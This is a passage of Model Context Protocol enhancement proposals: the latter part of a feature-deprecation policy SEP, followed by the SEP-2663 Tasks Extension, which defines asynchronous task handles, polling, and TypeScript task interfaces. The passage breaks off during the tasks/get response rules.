introduces three feature states (Active, Deprecated, Removed), the criteria and procedure for
moving between them, a minimum window between deprecation and removal, and the documentation
required at each transition. The goal is a predictable timeline that SDK authors and implementers
can plan migrations against when protocol surface area is retired.
## Motivation
The specification has already retired or signaled retirement of several features, but each case
has been handled ad hoc:
* The HTTP+SSE transport is described as "deprecated" in the
[Streamable HTTP backwards-compatibility guidance][transports-compat], with no stated removal
date.
* The `includeContext` values `"thisServer"` and `"allServers"` are labeled "soft-deprecated" in
[`sampling/createMessage`][sampling-includecontext] and in `schema.ts`, with the note that they
"may be removed in future spec releases."
* JSON-RPC batching was added in revision `2025-03-26` and removed in `2025-06-18`, a single
release later, with no deprecation period.
* Open proposals such as consolidating `Resource` and `ResourceTemplate` ([#1540][issue-1540]) and
deprecating roots, sampling, and logging ([SEP-2577][sep-2577]) would each retire existing
surface area but have no process to follow.
This inconsistency has costs. Implementers cannot tell whether "deprecated" and "soft-deprecated"
mean different things, or how long either state lasts before removal. Community questions such as
[discussion #2177][disc-2177] (asking when the SSE transport will actually be removed) have no
policy to point to. At the [NYC maintainer meeting][nyc-2026-03-31], large implementers described
indefinite support for past protocol versions as "corrosive tech debt." The [Stability over
velocity][design-principles] design principle observes that "removing from \[the spec] is nearly
impossible" but offers no path for the cases where removal is warranted.
The Core Maintainers agreed at the [April 1, 2026 meeting][cm-2026-04-01] that MCP needs "a formal
versioning status and a defined deprecation cycle" with "direction agreed, mechanics TBD." This SEP
proposes those mechanics.
## Specification
### Scope
This policy governs **features** of the MCP core specification: protocol messages, capabilities,
transports, schema types, and normative behavioral requirements. It does not govern the
independent lifecycle of SDK-specific APIs, registry policies, or the revision lifecycle of the
specification document itself (Draft, Current, Final), which is defined in the [versioning
guide][versioning].
Note that "Final" is used in two senses in this document: a specification *revision* is Final when
superseded by a later one (per the versioning guide), and a *SEP* reaches Final when its status
advances per the [SEP guidelines][sep-guidelines]. Context disambiguates; where it does not, this
document writes "the SEP reaches Final" or "Final revision" explicitly.
### Feature states
A specification feature is in exactly one of three states:
| State | Meaning | Implementer expectation |
| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
| **Active** | The feature is part of the Current specification revision with no planned removal. | Implement per the feature's normative requirements. |
| **Deprecated** | The feature remains in the specification but is scheduled for removal. A migration path is documented (see below). | New implementations SHOULD NOT adopt the feature. Existing implementations SHOULD migrate before the earliest removal date. |
| **Removed** | The feature has been deleted from `draft` and will be absent from the next Current revision. It remains documented in the Final revision it last appeared in. | Implementations targeting that next Current revision MUST NOT depend on the feature. |
The term "soft-deprecated" is retired. Existing uses in the specification are reclassified as
Deprecated under this policy (see [Transition](#transition)).
Removal from the specification does not oblige an SDK to drop the feature from releases that
continue to support an earlier revision in which it was Active or Deprecated; that timeline is
governed by the SDK's own revision-support policy (see [Open Questions](#open-questions)).
A Deprecated feature MAY be restored to Active by a SEP that supersedes the deprecation SEP and
documents the changed circumstances. Restoration follows the same approval path as deprecation. If
the feature is later deprecated again, the minimum deprecation window in [Deprecating a
feature](#deprecating-a-feature) is measured afresh from the revision in which the new deprecation
takes effect.
### Deprecating a feature
A feature MAY be proposed for deprecation when at least one of the following holds:
* It has been superseded by another feature that covers the same use cases.
* It presents a security, privacy, or interoperability risk that cannot be mitigated in place.
* Ecosystem telemetry or SDK maintainer consensus indicates negligible adoption relative to its
maintenance cost.
Deprecation is a specification change and therefore requires a SEP per the [SEP
guidelines][sep-guidelines]. The deprecation SEP MUST:
1. Identify the feature by name and link to its definition in `schema.ts` (where applicable) and
the specification prose.
2. State the rationale against the criteria above.
3. Document the migration path, or state explicitly that none is required. If the migration path
names a replacement feature, that feature MUST be Active in the revision in which the
deprecation takes effect; the replacement and the deprecation MAY land in the same revision. A
feature is not deprecated under this policy while its documented replacement is still only in
`draft`.
4. Specify the **minimum deprecation window**: the number of months, at least twelve, that the
feature MUST remain Deprecated before it is eligible for removal. The window is measured from
the release of the specification revision in which the feature is first marked Deprecated, not
from the date the SEP reaches Final. The feature becomes eligible for removal in the first
specification revision released as Current on or after the window elapses; that point is the
feature's **earliest removal**.
When the deprecation SEP reaches Final the deprecation is scheduled: the following changes land in
the draft specification (`schema/draft/` and `docs/specification/draft/`). The feature becomes
Deprecated when the revision carrying these changes is released as Current under the [versioning
guide][versioning], and the minimum deprecation window is counted from that release. Anchoring the
clock to the revision release means every feature deprecated in the same revision shares one
earliest removal rather than each carrying a date derived from when its own SEP happened to land.
* The feature's entry in `schema.ts` gains a `@deprecated` JSDoc tag referencing the deprecation
SEP and the revision in which the deprecation takes effect.
* The specification prose for the feature gains a deprecation notice with the same information.
* The `changelog.mdx` for that revision gains an entry under a "Deprecated" heading. This SEP
introduces "Deprecated" and "Removed" as standing changelog headings alongside the existing
Major/Minor/Other groupings.
* The feature is added to the [deprecated registry](#the-deprecated-registry) with its deprecation
SEP, the revision in which it became Deprecated, its migration path, and its earliest removal.
### The deprecated registry
`docs/specification/draft/deprecated.mdx` is a single page listing every feature currently in the
Deprecated state. It is the canonical answer to "what is on its way out, and by when," so that an
implementer does not have to reconstruct that picture from deprecation entries spread across
revision changelogs. Each row records the feature, its deprecation SEP, the revision in which it
became Deprecated, the documented migration path, and its earliest removal. A deprecation adds a
row; a removal moves the row to a Removed section of the same page with a link to the changelog
entry, so the page also serves as the historical record. The registry carries no normative force
of its own; it is a derived view kept consistent with the per-feature notices and changelog
entries, which are the normative records.
### Tier 1 SDK obligations
A feature lifecycle is only as effective as the implementations that surface it to consumers. The
specification artifacts above record that a feature is Deprecated; Tier 1 SDKs (per
[SEP-1730][sep-1730]) deliver that record to the implementers who would otherwise discover the
removal by breakage. Once the revision in which a feature becomes Deprecated is released as
Current, Tier 1 SDKs:
* MUST mark the corresponding API surface deprecated using the language's native mechanism (for
example `@Deprecated` in Java, `[Obsolete]` in .NET, `@deprecated` JSDoc in TypeScript, the
`Deprecated:` doc convention in Go) in their next release, referencing the deprecation SEP and
the earliest removal date where the mechanism permits. The marker applies to the SDK API surface
and is not conditioned on the specification revision a consumer targets; surfacing it to
consumers still on an earlier revision is intentional forward signal.
* SHOULD emit a runtime warning when a deprecated feature is exercised, using the language's
idiomatic mechanism (for example Python's `DeprecationWarning`, Node.js's
`process.emitWarning`, or a configurable logger). A runtime warning reaches developers who never
read API documentation and is an observable signal a conformance test can assert against.
These obligations are conformance criteria for Tier 1 status. A Tier 1 SDK that persistently fails
to surface a Deprecated feature is subject to the [Tier Relegation Process][sep-1730-relegation]
in [SEP-1730][sep-1730].
### Removing a feature
1. Once a feature is set for removal, the removal is executed at the discretion of the Core
Maintainers after the minimum deprecation window has elapsed, during release preparation,
under the [governance decision process][governance-decisions]. Removal does not require its
own SEP. Before removing a feature the Core Maintainers MUST confirm that the migration target
named in the deprecation SEP, if any, is still Active.
2. A SEP is required for any other change to a deprecation or removal, for example extending or
shortening the timeline ([Expedited removal](#expedited-removal)) or restoring the feature to
Active ([Feature states](#feature-states)).
Note that features may remain Deprecated, without removal, for much longer than the minimum
deprecation window.
SDKs implement deprecation as part of the [SDK Tiering System][sep-1730] (see [Tier 1 SDK
obligations](#tier-1-sdk-obligations)); removal imposes no additional requirements on SDK
maintainers.
When a removal decision is taken, the feature is deleted from `schema/draft/schema.ts` (where
present) and the draft specification prose; `changelog.mdx` for that revision gains an entry under
the "Removed" heading that links to the deprecation SEP and the last Final revision in which the
feature was present; and the feature's [registry](#the-deprecated-registry) row moves to the
Removed section with a link to that changelog entry.
### Expedited removal
The twelve-month floor MAY be shortened when the feature presents an active security risk, meaning
a vulnerability with a published security advisory or documented in-the-wild exploitation for which
no in-place mitigation exists. Shortening the window requires Core Maintainer approval under the
[governance decision process][governance-decisions], recorded in the deprecation SEP or, where the
risk surfaces after that SEP is already Final, in a short expedited-removal SEP that references it.
The shortened window MUST still provide at least ninety days between the feature becoming
Deprecated and its earliest removal.
### Roles
| Action | Who |
| ---------------------------------------------- | ----------------------------------------------------------------------------- |
| Propose deprecation, extension, or restoration | Any contributor, per the SEP process |
| Sponsor | A Maintainer or Core Maintainer, per the SEP process |
| Approve a deprecation SEP | Core Maintainers, per the [governance decision process][governance-decisions] |
| Decide a removal during release preparation | Core Maintainers, per the [governance decision process][governance-decisions] |
| Approve an extension or restoration SEP | Core Maintainers, per the [governance decision process][governance-decisions] |
| Approve expedited removal | Core Maintainers, per the [governance decision process][governance-decisions] |
As with all Core Maintainer decisions, Lead Maintainers retain veto authority over each of the
approvals above, per the [governance roles][governance-roles] definition.
[governance-roles]: https://modelcontextprotocol.io/community/governance#roles
### Transition
Two features were already described as deprecated in the specification before this policy existed
(see [Motivation](#motivation)). When this SEP reaches Final they are classified as Deprecated and
seeded into the [registry](#the-deprecated-registry); the deprecation-SEP requirements in
[Deprecating a feature](#deprecating-a-feature) are not applied retroactively. The deprecation
decision in each case predates this policy; this section records it under the new vocabulary so the
terms "deprecated" and "soft-deprecated" carry a single defined meaning going forward.
Both features were publicly deprecated well over twelve months before this SEP, so the minimum
deprecation window has in practice already been served; re-anchoring their clock to a future
revision release would restart a window the ecosystem has already had. Each is therefore given a
three-month grace period from the date this SEP reaches Final before it is eligible for removal,
matching the floor the [Expedited removal](#expedited-removal) clause sets for the shortest
permissible window. Removal still follows [Removing a feature](#removing-a-feature): a Core
Maintainer decision at release preparation, not an automatic event when the grace period ends.
| Feature | Migration target | Earliest removal |
| ----------------------------------------------- | ------------------------------------ | --------------------------------------- |
| HTTP+SSE transport | [Streamable HTTP][transports-compat] | Three months after this SEP is Final |
| `includeContext: "thisServer"` / `"allServers"` | Omit the field or use `"none"` | Follows Sampling ([SEP-2577][sep-2577]) |
`includeContext` is a parameter of `sampling/createMessage`. [SEP-2577][sep-2577] deprecates the
Sampling feature as a whole; the two affected `includeContext` values follow that feature's
deprecation schedule rather than carrying an independent removal clock, and are removed no later
than Sampling itself.
This grandfathering applies only to features the specification already described as deprecated on
the date this SEP reaches Final. Every subsequent deprecation follows [Deprecating a
feature](#deprecating-a-feature) in full, and removal of the grandfathered features follows
[Removing a feature](#removing-a-feature) without exception.
When this SEP reaches Final the following land in `draft/` directly, with no separate
implementation gate: the [versioning guide][versioning] is updated to reference this policy;
`deprecated.mdx` is created seeded with the two features above; the "Deprecated" heading is added
to `changelog.mdx` with both entries; and each feature gains the `@deprecated` schema annotation
and prose notice described in [Deprecating a feature](#deprecating-a-feature). For
`includeContext` the annotation is on the property as a whole, since per-value `@deprecated` tags
are not expressible on a string-literal union; the HTTP+SSE transport has no `schema.ts` types and
is annotated in the transport prose only.
## Rationale
### Why a separate state model from specification revisions?
The [versioning guide][versioning] already defines Draft, Current, and Final for specification
*revisions*. Those states describe the editorial maturity of a whole document and say nothing about
whether a given message or field within a Current revision is on its way out. The [Kubernetes
deprecation policy][k8s-deprecation], the [Node.js deprecation cycle][nodejs-deprecation], and IETF
practice such as [RFC 8996][rfc-8996] (which deprecates TLS 1.0 and 1.1 within the TLS protocol
family) all maintain feature-level deprecation rules alongside their release versioning for this
reason.
### Why a SEP to deprecate but not to remove?
The deliberation that needs community review is the decision to retire a feature and the choice of
migration path; that is what the deprecation SEP carries. Once it reaches Final the project has
committed to removal and fixed the earliest date, so carrying out that decision on schedule adds no
new judgment and a second SEP for it is process for its own sake. The deliberate maintainer
decision still exists as the release-preparation removal decision and its confirmations in
[Removing a feature](#removing-a-feature), mirroring the tier advancement procedure in
[SEP-1730][sep-1730] where advancement is a maintainer decision rather than a timer expiring. A SEP
is reserved for the cases that do change the committed outcome: extending the window, restoring the
feature, or shortening the floor for a security risk. This keeps the process consistent with the
[SEP guidelines][sep-guidelines] treating a change to protocol surface area as SEP-worthy while not
demanding a SEP to ratify a change already made.
### Why twelve months?
The [NYC maintainer meeting][nyc-2026-03-31] floated a "one year supported plus one year
deprecation" model and recorded reluctance to commit to longer windows given how quickly the
agentic space is moving. The same discussion flagged even that model as a possible burden on SDK
maintainers; this SEP keeps the twelve-month floor because removal is permissive rather than
automatic ([Removing a feature](#removing-a-feature)), so a feature stays Deprecated as long as the
ecosystem needs rather than the SDKs racing the calendar. Measuring the window from the
revision release rather than from the SEP date keeps it observable: it is the same clock SDK
authors and implementers already track for the revision itself. Because the deprecation only takes
effect when its revision is released, a replacement introduced in that same revision is proven over
the twelve-month window itself; a separate prior revision is not required for that purpose. The
window spans at least two of
the six-month release cycles discussed at the same meeting: one for SDK maintainers to ship
migration support and one for downstream adoption. Core Maintainers may leave a feature Deprecated
for longer; twelve months is the minimum.
### Relationship to SEP-1400 (Semantic Versioning)
[SEP-1400][sep-1400] proposes replacing date-based revision identifiers with semantic versioning.
The two proposals address different questions: SEP-1400 is about how revisions are numbered, and
this SEP is about how features within a revision are retired. This SEP measures the removal window
from a revision *release* rather than from a revision *identifier*, so it does not depend on the
identifier scheme; it applies unchanged whether revisions are dated or semantically versioned.
### Consensus
Direction was agreed at the [NYC maintainer meeting (March 31, 2026)][nyc-2026-03-31] and confirmed
at the [April 1, 2026 Core Maintainer meeting][cm-2026-04-01], which recorded "formal versioning
status and SDK deprecation cycle (direction agreed, mechanics TBD)." Community demand is visible in
[discussion #2177][disc-2177] (asking when SSE removal will happen) and [discussion
\#1980][disc-1980] (asking to sunset a backwards-compatibility requirement that has outlived its
purpose).
## Backward Compatibility
This SEP introduces a process and does not change protocol behavior. The
[Transition](#transition) section assigns a Deprecated state and an earliest removal to two
features that are already informally deprecated. Neither had a stated removal date, so making the
timeline explicit (a three-month grace period for features the ecosystem has already had more than
a year to migrate away from) does not shorten any commitment implementers were given.
## Security Implications
None identified. This is a governance change with no new protocol surface, transport,
authentication flow, or trust boundary. A defined deprecation path has an indirect security
benefit: it gives the project a predictable mechanism for retiring features that are later found to
be unsafe, which is what the [Expedited removal](#expedited-removal) clause is for.
## Reference Implementation
This SEP defines a process and has no reference implementation. The specification edits that apply
the policy to the two existing informal deprecations are described in [Transition](#transition) and
land directly in `draft/` when this SEP reaches Final.
***
## Open Questions
* **Specification revision support window.** The NYC meeting also discussed how long Tier 1 SDKs
must support a given specification *revision* (as distinct from a feature within one). That
policy belongs in an amendment to [SEP-1730][sep-1730], but it determines whether the deprecation
window in this policy is observable in practice. If a Tier 1 SDK supports only the latest
revision, a consumer that updates the SDK between releases can move directly from one that
predates the deprecation to one that postdates the removal, never seeing the Deprecated marker
in [Tier 1 SDK obligations](#tier-1-sdk-obligations). Requiring Tier 1 SDKs to support all
revisions released as Current within a trailing window at least equal to the twelve-month
deprecation floor closes that gap. The SEP-1730 amendment should be pursued alongside this SEP.
* **Telemetry source for the "negligible adoption" criterion.** The policy permits deprecation on
adoption grounds, but the project has no shared telemetry today. Until one exists, this criterion
relies on SDK maintainer attestation.
* **Feature maturity tiers.** This SEP applies a uniform twelve-month floor to every Active
feature. The [Kubernetes deprecation policy][k8s-deprecation] uses alpha/beta/GA tiers with
shorter windows for less mature features, which would have allowed the JSON-RPC batching reversal
cited in [Motivation](#motivation) without a year-long deprecation. Whether MCP should adopt an
Experimental tier with a shorter or zero window is left for a follow-up SEP.
* **Wire-level deprecation signal.** [Tier 1 SDK obligations](#tier-1-sdk-obligations) puts the
deprecation warning into official SDKs; implementers that do not use one and do not read the
changelog still receive no warning before removal. A wire-level signal (for example a `_meta`
deprecation field on responses, comparable to the Kubernetes `Warning` header) would close that
gap but is a Standards Track change outside the scope of this Process SEP.
[transports-compat]: https://modelcontextprotocol.io/specification/draft/basic/transports#backwards-compatibility
[sampling-includecontext]: https://modelcontextprotocol.io/specification/draft/client/sampling
[versioning]: https://modelcontextprotocol.io/docs/learn/versioning
[design-principles]: https://modelcontextprotocol.io/community/design-principles
[sep-guidelines]: https://modelcontextprotocol.io/community/sep-guidelines
[governance-decisions]: https://modelcontextprotocol.io/community/governance#decision-process
[sep-1730]: https://modelcontextprotocol.io/seps/1730-sdks-tiering-system
[sep-1730-relegation]: https://modelcontextprotocol.io/seps/1730-sdks-tiering-system#tier-relegation-process
[sep-1400]: https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1400
[issue-1540]: https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1540
[sep-2577]: https://modelcontextprotocol.io/seps/2577-deprecate-roots-sampling-and-logging
[nyc-2026-03-31]: https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2547
[cm-2026-04-01]: https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2536
[disc-2177]: https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/2177
[disc-1980]: https://github.com/modelcontextprotocol/modelcontextprotocol/discussions/1980
[k8s-deprecation]: https://kubernetes.io/docs/reference/using-api/deprecation-policy/
[nodejs-deprecation]: https://nodejs.org/api/deprecations.html
[rfc-8996]: https://www.rfc-editor.org/rfc/rfc8996
# SEP-2663: Tasks Extension
Source: https://modelcontextprotocol.io/seps/2663-tasks-extension
Tasks Extension
Final
Extensions Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 2663 |
| **Title** | Tasks Extension |
| **Status** | Final |
| **Type** | Extensions Track |
| **Created** | 2026-04-27 |
| **Author(s)** | Luca Chang ([@LucaButBoring](https://github.com/LucaButBoring)), Caitie McCaffrey ([@CaitieM20](https://github.com/CaitieM20)); on behalf of the Agents Working Group |
| **Sponsor** | Caitie McCaffrey ([@CaitieM20](https://github.com/CaitieM20)) |
| **PR** | [#2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663) |
***
## Abstract
This SEP defines an extension that allows a server to respond to a `tools/call` request with an asynchronous *task handle* instead of a final result, allowing the client to retrieve the eventual result by polling. The extension introduces three methods: `tasks/get`, `tasks/update`, and `tasks/cancel`; a polymorphic-result discriminator (`resultType: "task"`); and a `Task` shape that carries a task status, in-progress server-to-client requests, and a final result or error. Task creation is server-directed: the client signals support by including the extension in its per-request capabilities, and the server decides on a per-request basis whether to materialize a task.
Tasks will become a foundational building block of MCP and are expected to be supported in future protocol versions. The experimental `tasks` feature in the `2025-11-25` specification served as a stopgap until the protocol's extension mechanism was available. Now that [extensions](https://modelcontextprotocol.io/extensions/overview) have been [formalized](./2133-extensions.md), moving tasks to an official extension gives the feature time to incubate and evolve based on additional real-world implementation feedback, without being constrained by the core specification's release cadence. Once the extension has stabilized and achieved broad adoption, it is intended to be promoted into the core protocol.
This proposal *removes* the version of [tasks](https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/tasks) specified in the `2025-11-25` release from the core protocol and moves it to an Extension. It also proposes updates to Tasks shaped by implementation feedback since that release, and by several changes to the base protocol included in the `2026-06-30` specification:
* [SEP-2260: Require Server requests to be associated with a Client request](./2260-Require-Server-requests-to-be-associated-with-Client-requests.md)
* [SEP-2322: Multi Round-Trip Requests](./2322-MRTR.md)
* [SEP-2243: HTTP Header Standardization for Streamable HTTP Transport](./2243-http-standardization.md)
* [SEP-2567: Sessionless MCP via Explicit State Handles](./2567-sessionless-mcp.md)
* [SEP-2575: Make MCP Stateless](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)
## Motivation
The experimental [tasks](https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/tasks) feature served as an alternate execution mode for tool calls, elicitation, and sampling, allowing receivers to return a poll handle instead of blocking until a final result was ready. Implementation experience surfaced several challenges:
1. **The handshake is fragile.** Tasks today expose method-level capabilities (`tasks.requests.tools.call` declares that `tools/call` **MAY** be task-augmented) alongside a tool-level `execution.taskSupport` field that declares whether a particular tool will accept the augmentation. Clients express their own support for tasks by passing a `task` parameter on their requests, but **MUST NOT** include it if the method/tool does not support tasks. A client that wants to opt into tasks must therefore prime its state with a `tools/list` call before issuing any task-augmented request, and cannot blindly attach a `task` parameter to every request to handle tools isomorphically. This is confusing, implicit, and easy to get wrong.
2. **`tasks/result` is a blocking trap.** In the current flow, a client that observes `input_required` is required to call `tasks/result` prematurely so that the server has an SSE stream on which to side-channel elicitation or sampling requests. `tasks/result` then blocks until the entire operation completes. This forces long-lived persistent connections that many clients and servers do not want to implement, and it conflicts with [SEP-2260](./2260-Require-Server-requests-to-be-associated-with-Client-requests.md), which disallows unsolicited server-to-client requests outright. Under SEP-2260, the SSE semantics that justified the blocking behavior no longer apply.
3. **`tasks/list` scoping cannot be defined.** To avoid clients cancelling or retrieving results for tasks they shouldn't have access to, all tasks should be bound to some sort of "authorization context," the implementation of which is left to individual servers according to their existing bespoke permission models. However, in many cases, it is not possible to perform this binding, in which case the task ID becomes the only line of defense against contamination. In this scenario, it is unsafe for a server to support `tasks/list` at all. While it was possible for tasks to instead be bound to a session, [SEP-2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567) removes sessions from the protocol. There is no other natural scope a server can define unilaterally — task IDs can be unguessable handles that a server can recognize one at a time, but servers cannot reliably correlate two unrelated handles to the same caller without additional state.
Beyond implementation challenges, tasks face another structural issue: **Client-hosted tasks are no longer expressible.** [SEP-1686](./1686-tasks.md) permitted clients to host tasks for elicitation and sampling, in part to avoid coupling tasks to tool calls. [SEP-2260](./2260-Require-Server-requests-to-be-associated-with-Client-requests.md) makes any unsolicited server-to-client request invalid; every server-to-client polling request under client-hosted tasks would be unsolicited by definition.
This proposal intends to solve the above issues by redesigning certain aspects of the feature and moving tasks out to an official extension. Redefining tasks as an official extension gives the feature more time to incubate and evolve independently of the core specification, promoting adoption. As part of the redesign, this proposal consolidates the polling lifecycle into `tasks/get` and a new `tasks/update` to remove the blocking `tasks/result` method. The redesign allows servers to return tasks unsolicited (in response to ordinary, non-`task`-flagged requests) to eliminate the per-request opt-in and the `tools/list` warmup, relying instead on the extension capability as the single handshake point. Finally, this proposal removes client-hosted elicitation and sampling tasks in compliance with [SEP-2260](./2260-Require-Server-requests-to-be-associated-with-Client-requests.md).
## Specification
The MCP Tasks extension allows certain requests to be augmented with **tasks**. Tasks are durable state machines that carry information about the underlying execution state of the request they augment, and are intended for client polling and deferred result retrieval. Each task is uniquely identifiable by a server-generated **task ID**.
Tasks are useful for representing expensive computations and batch processing requests, and map naturally onto external job APIs.
### Extension Identifier
This extension is identified as: `io.modelcontextprotocol/tasks`.
### Capability Negotiation
The client and server declare support for the tasks extension in their respective capabilities objects (using updated form from [SEP-2575: Make MCP Stateless](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)):
```jsonc theme={null}
// Client to server, in per-request capabilities
{
// Other request parameters...
"params": {
"_meta": {
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {},
},
},
},
},
}
```
```jsonc theme={null}
// Server to client, in response to server/discover
{
"result": {
// Other response parameters...
"capabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {},
},
},
},
}
```
No extension-specific settings are currently defined; an empty object indicates support.
A server that has negotiated this extension **MAY** return `CreateTaskResult` in lieu of a standard result (e.g. `CallToolResult`) in response to any supported request at its own discretion and on a per-request basis. The server is the sole decider; clients do not signal task preference on the request itself. The client declaring the extension capability does not suggest that it requires a `CreateTaskResult` in response to that request.
A server **MUST NOT** return `CreateTaskResult` to a client that did not include the extension capability on its request, regardless of prior declarations. A client that has negotiated this extension **MUST** be prepared to handle either `CallToolResult` or `CreateTaskResult` in response to any supported request it issues. A client that receives `CreateTaskResult` in response to an unsupported request type **MUST** interpret this as an invalid response to the request.
If a server is unable to service a request to a client that does not declare this extension capability without returning `CreateTaskResult`, the server **MUST** return an error with the code `-32021` (Missing Required Client Capability), indicating the required extension in the error response:
```jsonl theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
// MISSING_REQUIRED_CLIENT_CAPABILITY
"code": -32021,
// Message provided for example purposes only. The content of this example message is non-normative.
"message": "Missing required client capability",
"data": {
"requiredCapabilities": {
"extensions": {
"io.modelcontextprotocol/tasks": {}
}
}
}
}
}
```
### Supported Methods
The following methods currently support task-augmented execution:
* `tools/call`
This specification may be extended to support tasks over other request types in the future; implementations **SHOULD** be designed to accommodate additional request types in future revisions of this specification.
### Polymorphic Results
A request that is eligible for task-augmentation may return one of two distinct result shapes — the request's standard result, or a `CreateTaskResult`. The discriminator is the `resultType` field on the result object, introduced by [SEP-2322](./2322-MRTR.md):
```typescript theme={null}
// "task" is introduced by this extension.
type ResultType = "complete" | "input_required" | "task" | string;
```
Servers **MUST** set `resultType` to `"task"` when returning a `CreateTaskResult` so that clients can distinguish it from a standard result. Servers **MUST NOT** set `resultType` to `"task"` on result types other than `CreateTaskResult`.
Client implementors are advised that existing code returning a fixed shape (e.g., a `tools/call` method returning `CallToolResult`) need not change their public contract — they can transparently drive the polling flow internally and surface only the final, completed result. New implementation surfaces **MAY** expose the task lifecycle directly for applications able to leverage it.
### Tasks
A `Task` carries operational metadata about ongoing work.
```typescript theme={null}
interface Task {
/** Stable identifier for this task. */
taskId: string;
/** Current task status. */
status: "working" | "input_required" | "completed" | "cancelled" | "failed";
/**
* Optional message describing the current task state.
* This can provide context for any status, for example (non-normative):
* - Progress descriptions for "working"
* - Work blocked on "input_required"
* - Reasons for "cancelled" status
* - Summaries for "completed" status
* - Additional information for "failed" status (e.g., error details, what went wrong)
*
* This MAY be exposed to the end-user or model.
*/
statusMessage?: string;
/** ISO 8601 timestamp when the task was created. */
createdAt: string;
/** ISO 8601 timestamp when the task was last updated. */
lastUpdatedAt: string;
/**
* Time-to-live duration from creation in integer milliseconds, null for unlimited.
* The server may discard the task after the TTL elapses. This value MAY change
* over the lifetime of a task.
*/
ttlMs: number | null;
/**
* Suggested polling interval in integer milliseconds. Clients SHOULD honor
* this value to avoid overwhelming the server. This value MAY change over
* the lifetime of a task.
*/
pollIntervalMs?: number;
}
```
#### Task Status
Tasks can be in one of the following states:
* `working`: The request is currently being processed.
* `input_required`: The server needs input from the client before the task can proceed. The `tasks/get` response will include outstanding requests in the `inputRequests` field. The client **MUST** inspect this field and **SHOULD** provide responses via the `inputResponses` field in subsequent `tasks/update` requests.
* `completed`: The request completed successfully and results are available in the `result` field. This includes tool calls that returned results with `isError: true`.
* `failed`: The request failed due to a JSON-RPC error during execution. The task will include the `error` field with the JSON-RPC error details. This status **MUST NOT** be used for non-JSON-RPC errors.
* `cancelled`: The request was cancelled before completion.
Derived shapes of `Task` inline status-specific payload fields and are used by `tasks/get` responses and `notifications/tasks` notifications:
```ts theme={null}
/**
* A task that is in a normal working state.
* Used by tasks/get and notifications/tasks.
*/
export interface WorkingTask extends Task {
status: "working";
}
/**
* A task that is waiting for input from the client.
* Used by tasks/get and notifications/tasks.
*/
export interface InputRequiredTask extends Task {
status: "input_required";
/**
* Server-to-client requests that need to be fulfilled during task execution.
* Keys are arbitrary identifiers for matching requests to responses.
*/
inputRequests: InputRequests;
}
/**
* A task that has completed successfully.
* Used by tasks/get and notifications/tasks.
*/
export interface CompletedTask extends Task {
status: "completed";
/**
* The final result of the task.
* The structure matches the result type of the original request.
* For example, a CallToolRequest task would return the CallToolResult structure.
*/
result: JSONObject;
}
/**
* A task that has failed due to a JSON-RPC error.
* Used by tasks/get and notifications/tasks.
*/
export interface FailedTask extends Task {
status: "failed";
/**
* The JSON-RPC error that caused the task to fail.
*/
error: JSONObject;
}
/**
* A task that has been cancelled.
* Used by tasks/get and notifications/tasks.
*/
export interface CancelledTask extends Task {
status: "cancelled";
}
/**
* A union type representing a task with optional inlined result/error/inputRequests fields.
* This type is used by tasks/get and notifications/tasks to provide complete task state
* including terminal results or pending input requests.
*/
export type DetailedTask =
WorkingTask | InputRequiredTask | CompletedTask | FailedTask | CancelledTask;
```
### Task Creation
A server returns `CreateTaskResult` in lieu of the standard result shape for a request to indicate that request will be processed asynchronously.
```typescript theme={null}
// resultType: "task"
type CreateTaskResult = Result & Task;
```
**Example Request (CallToolRequest):**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"city": "New York"
}
}
}
```
**Example Response (CreateTaskResult):**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"resultType": "task",
"taskId": "786512e2-9e0d-44bd-8f29-789f320fe840",
"status": "working",
"statusMessage": "The operation is now in progress.",
"createdAt": "2025-11-25T10:30:00Z",
"lastUpdatedAt": "2025-11-25T10:40:00Z",
"ttlMs": 60000,
"pollIntervalMs": 5000
}
}
```
The embedded `task` is the seed state for the task, typically (though not necessarily) with `status: "working"`. The client uses `task.taskId` for all subsequent `tasks/get`, `tasks/update`, and `tasks/cancel` calls.
A server **MUST NOT** return `CreateTaskResult` until the task is durably created — that is, until a `tasks/get` for the returned `taskId` would resolve. In eventually-consistent environments, the server **MUST** wait for consistency before responding. This requirement eliminates the need for clients to speculatively poll for task creation.
Server implementations that use multi round-trip requests in conjunction with task creation (for example, a tool that requires elicitation over `InputRequiredResult` before creating a task) **SHOULD** resolve all MRTR exchanges *synchronously* before responding with a `CreateTaskResult`.
### Task Polling
Clients poll for task completion by sending `tasks/get` requests.
Clients **SHOULD** respect the `pollIntervalMs` provided in responses when determining polling frequency. The `pollIntervalMs` **MAY** change over the lifetime of a task. Servers **MAY** rate-limit clients polling more frequently than the recorded `pollIntervalMs`.
Clients **SHOULD** continue polling until the task reaches a terminal status or until invoking `tasks/cancel`. Clients **SHOULD** persist task IDs to durable storage so that polling can resume after a crash or restart.
#### Request
```typescript theme={null}
interface GetTaskRequest extends JSONRPCRequest {
method: "tasks/get";
params: {
/** Identifier of the task to query. */
taskId: string;
};
}
```
#### Response
Upon receiving a `tasks/get` request, the server **MUST** check the status of the task and respond accordingly:
1. If the status is `working`, the server **MUST** return a a `Task` object with status `working`.
